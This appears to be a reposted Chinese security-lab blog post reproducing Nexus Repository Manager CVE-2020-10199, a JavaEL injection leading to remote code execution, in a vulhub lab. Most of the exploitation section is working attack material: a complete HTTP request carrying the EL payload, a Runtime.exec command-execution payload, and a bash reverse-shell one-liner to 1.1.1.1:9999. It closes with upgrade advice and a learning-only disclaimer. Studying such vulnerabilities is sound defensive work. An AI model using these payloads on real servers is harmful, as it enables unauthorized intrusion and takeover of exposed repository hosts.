java 远程执行linux命令_Nexus 远程命令执行漏洞 CVE202010199

4ffb854c633dd9db6cb417ad2d08e6f1.png

“燕云实验室”是河北千诚电子科技有限公司成立的网络安全攻防技术研究实验室。专注于web安全,网络攻防,安全运维,应急溯源方面的研究,开发成果应用于产品核心技术转化,国家重点科技项目攻关。

一、关于 Nexus

Nexus 是一个 Maven 的仓库管理系统,它提供了强大的仓库管理、构件搜索等功能,并且可以用来搭建 Maven 仓库私服,在代理远程仓库的同时维护本地仓库,以节省带宽和时间。

在 Nexus Repository Manager OSS/Pro 3.21.1 及之前的版本中,经过授权认证的攻击者,可以通过 JavaEL 表达式注入造成远程代码执行,获取系统权限。

使用fofa搜索nexus可发现有38w+个相关资产。

db5691fb9a54bddb117d5783be452eda.png

二、CVE-2020-101992.1 漏洞简介

今年3月31日的时候Nexus Repository Manager官方发布了CVE-2020-10199,CVE-2020-10204的漏洞公告,两个漏洞均是由Github Secutiry Lab的@pwntester发现的。其中CVE-2020-10199再获取到管理员权限后,即可进行远程命令执行。

2.2 影响版本

Nexus Repository Manager OSS/Pro version <= 3.21.1

2.3 漏洞复现

我们使用vulhub提供的漏洞docker容器直接开启环境。

cd ~/vulhub/nexus/cve-2020-10199
docker-composer up -d

等待一段时间环境才能成功启动,访问http://your-ip:8081即可看到Web页面。

该漏洞需要至少普通用户身份,所以我们需要使用账号密码admin:admin登录后台。

1527f5d6394a377a21c3dd351e53193b.png

2.4 漏洞利用

可使用以下payload对nexus进行远程命令执行,其中NXSESSIONID需要更换为账户登录成功之后的ID,该ID存在与Cookie中。

POST /service/rest/beta/repositories/go/group HTTP/1.1Host: 127.0.0.1:8081Content-Length: 203X-Requested-With: XMLHttpRequestX-Nexus-UI: trueUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36NX-ANTI-CSRF-TOKEN: 0.7886248393834028Content-Type: application/jsonAccept: */*Origin: http://127.0.0.1:8081Sec-Fetch-Site: same-originSec-Fetch-Mode: corsReferer: http://127.0.0.1:8081/Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Cookie: NX-ANTI-CSRF-TOKEN=0.7886248393834028; NXSESSIONID=cedf848f-d881-4b58-ac24-9e9c3ece40bcConnection: close{  "name": "internal",  "online": true,  "storage": {    "blobStoreName": "default",    "strictContentTypeValidation": true  },  "group": {    "memberNames": ["$\\A{233*233*233}"]  }}

979a82377590afd05b165f49a3cd601a.png

可以看到公式233x233x233计算成功,替换以下payload即可系统命令执行。

$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/233')}

利用构建好的PY脚本:

30eb21386aff78d476de27ddc0f2930f.png

linux主机配合:

bash -i >&/dev/tcp/1.1.1.1/9999 0>&1

命令可反弹shell

2.5 漏洞修复

目前,官方已发布新版本修复了该漏洞,请受影响的用户升级到安全版本。

下载地址:https://help.sonatype.com/repomanager3/download/ 

END

声明

署名:CC BY-NC-SA 3.0 CN

文中所涉及的技术,思路和工具仅供以安全为目的的学习交流使用,请勿做非法用途否则后果自负。

99c56b5d103b8726c900407c7177c903.gif
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值